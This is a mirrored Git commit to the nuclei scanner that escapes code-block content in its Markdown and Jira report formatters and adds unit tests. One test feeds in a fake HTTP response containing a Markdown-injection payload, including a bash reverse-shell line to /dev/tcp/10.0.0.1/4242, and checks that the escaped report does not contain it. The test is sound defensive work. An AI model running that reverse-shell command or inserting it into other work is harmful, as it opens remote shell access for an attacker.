mirror of
https://github.com/projectdiscovery/nuclei.git
synced 2025-12-18 04:55:28 +00:00
feat: escape code blocks for markdown formatting (#6089)
This commit is contained in:
parent
d56524933f
commit
d10b7f7382
@ -2,6 +2,7 @@ package util
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type MarkdownFormatter struct{}
|
||||
@ -11,7 +12,8 @@ func (markdownFormatter MarkdownFormatter) MakeBold(text string) string {
|
||||
}
|
||||
|
||||
func (markdownFormatter MarkdownFormatter) CreateCodeBlock(title string, content string, language string) string {
|
||||
return fmt.Sprintf("\n%s\n```%s\n%s\n```\n", markdownFormatter.MakeBold(title), language, content)
|
||||
escapedContent := escapeCodeBlockMarkdown(content)
|
||||
return fmt.Sprintf("\n%s\n```%s\n%s\n```\n", markdownFormatter.MakeBold(title), language, escapedContent)
|
||||
}
|
||||
|
||||
func (markdownFormatter MarkdownFormatter) CreateTable(headers []string, rows [][]string) (string, error) {
|
||||
@ -25,3 +27,20 @@ func (markdownFormatter MarkdownFormatter) CreateLink(title string, url string)
|
||||
func (markdownFormatter MarkdownFormatter) CreateHorizontalLine() string {
|
||||
return CreateHorizontalLine()
|
||||
}
|
||||
|
||||
// escapeCodeBlockMarkdown only escapes the bare minimum characters needed
|
||||
// for code blocks and other sections where readability is important
|
||||
//
|
||||
// For content inside code blocks, we only need to escape backticks
|
||||
// and backslashes to prevent breaking out
|
||||
func escapeCodeBlockMarkdown(text string) string {
|
||||
minimalChars := []string{
|
||||
"\\", "`",
|
||||
}
|
||||
|
||||
result := text
|
||||
for _, char := range minimalChars {
|
||||
result = strings.ReplaceAll(result, char, "\\"+char)
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
@ -89,3 +89,54 @@ func TestCreateTemplateInfoTable3Columns(t *testing.T) {
|
||||
require.Nil(t, err)
|
||||
require.Equal(t, expected, table)
|
||||
}
|
||||
|
||||
func TestEscapeCodeBlockMarkdown(t *testing.T) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
input string
|
||||
expected string
|
||||
}{
|
||||
{
|
||||
name: "no special characters",
|
||||
input: "normal text without special chars",
|
||||
expected: "normal text without special chars",
|
||||
},
|
||||
{
|
||||
name: "with backticks",
|
||||
input: "text with `backticks` inside",
|
||||
expected: "text with \\`backticks\\` inside",
|
||||
},
|
||||
{
|
||||
name: "with backslashes",
|
||||
input: "text with \\ backslash",
|
||||
expected: "text with \\\\ backslash",
|
||||
},
|
||||
{
|
||||
name: "with both backticks and backslashes",
|
||||
input: "text with `backticks` and \\ backslash",
|
||||
expected: "text with \\`backticks\\` and \\\\ backslash",
|
||||
},
|
||||
{
|
||||
name: "with code block",
|
||||
input: "```code block```",
|
||||
expected: "\\`\\`\\`code block\\`\\`\\`",
|
||||
},
|
||||
{
|
||||
name: "with escaped backtick",
|
||||
input: "escaped \\` backtick",
|
||||
expected: "escaped \\\\\\` backtick",
|
||||
},
|
||||
{
|
||||
name: "with multiple consecutive backticks",
|
||||
input: "``double backticks``",
|
||||
expected: "\\`\\`double backticks\\`\\`",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
result := escapeCodeBlockMarkdown(tc.input)
|
||||
require.Equal(t, tc.expected, result, "Failed to properly escape markdown for code blocks")
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
@ -1,12 +1,14 @@
|
||||
package format
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/output"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown/util"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
@ -46,3 +48,28 @@ func TestToMarkdownTableString(t *testing.T) {
|
||||
require.Equal(t, strings.Split(expectedOrderedAttributes, "\n"), actualAttributeSlice[:dynamicAttributeIndex]) // the first part of the result is ordered
|
||||
require.ElementsMatch(t, expectedDynamicAttributes, actualAttributeSlice[dynamicAttributeIndex:]) // dynamic parameters are not ordered
|
||||
}
|
||||
|
||||
func TestCreateReportDescription_MarkdownInjection(t *testing.T) {
|
||||
// Setup a mock result event with malicious payload in various fields
|
||||
event := &output.ResultEvent{
|
||||
TemplateID: "test-template",
|
||||
Host: "example.com",
|
||||
Matched: "https://example.com/vulnerable",
|
||||
Type: "http",
|
||||
Info: model.Info{
|
||||
Name: "Test Template",
|
||||
Authors: stringslice.StringSlice{Value: []string{"researcher"}},
|
||||
SeverityHolder: severity.Holder{Severity: severity.High},
|
||||
Tags: stringslice.StringSlice{Value: []string{"test"}},
|
||||
},
|
||||
Request: "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n",
|
||||
Response: "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n<html><body>Hello, world\r\n\r\n```\r\n\r\nReferences:\r\n- https://rce.ee/pwned\r\n\r\n**CURL command**\r\n```sh\r\nbash -i >& /dev/tcp/10.0.0.1/4242 0>&1\r\n```\r\n</body></html>",
|
||||
CURLCommand: "curl -X GET https://example.com",
|
||||
}
|
||||
|
||||
result := CreateReportDescription(event, &util.MarkdownFormatter{}, false)
|
||||
fmt.Println(result)
|
||||
|
||||
require.NotContains(t, result, "```\r\n\r\nReferences:\r\n- https://rce.ee/pwned")
|
||||
require.NotContains(t, result, "```sh\r\nbash -i >& /dev/tcp")
|
||||
}
|
||||
|
||||
@ -29,7 +29,8 @@ func (jiraFormatter *Formatter) MakeBold(text string) string {
|
||||
}
|
||||
|
||||
func (jiraFormatter *Formatter) CreateCodeBlock(title string, content string, _ string) string {
|
||||
return fmt.Sprintf("\n%s\n{code}\n%s\n{code}\n", jiraFormatter.MakeBold(title), content)
|
||||
escapedContent := strings.ReplaceAll(content, "{code}", "")
|
||||
return fmt.Sprintf("\n%s\n{code}\n%s\n{code}\n", jiraFormatter.MakeBold(title), escapedContent)
|
||||
}
|
||||
|
||||
func (jiraFormatter *Formatter) CreateTable(headers []string, rows [][]string) (string, error) {
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user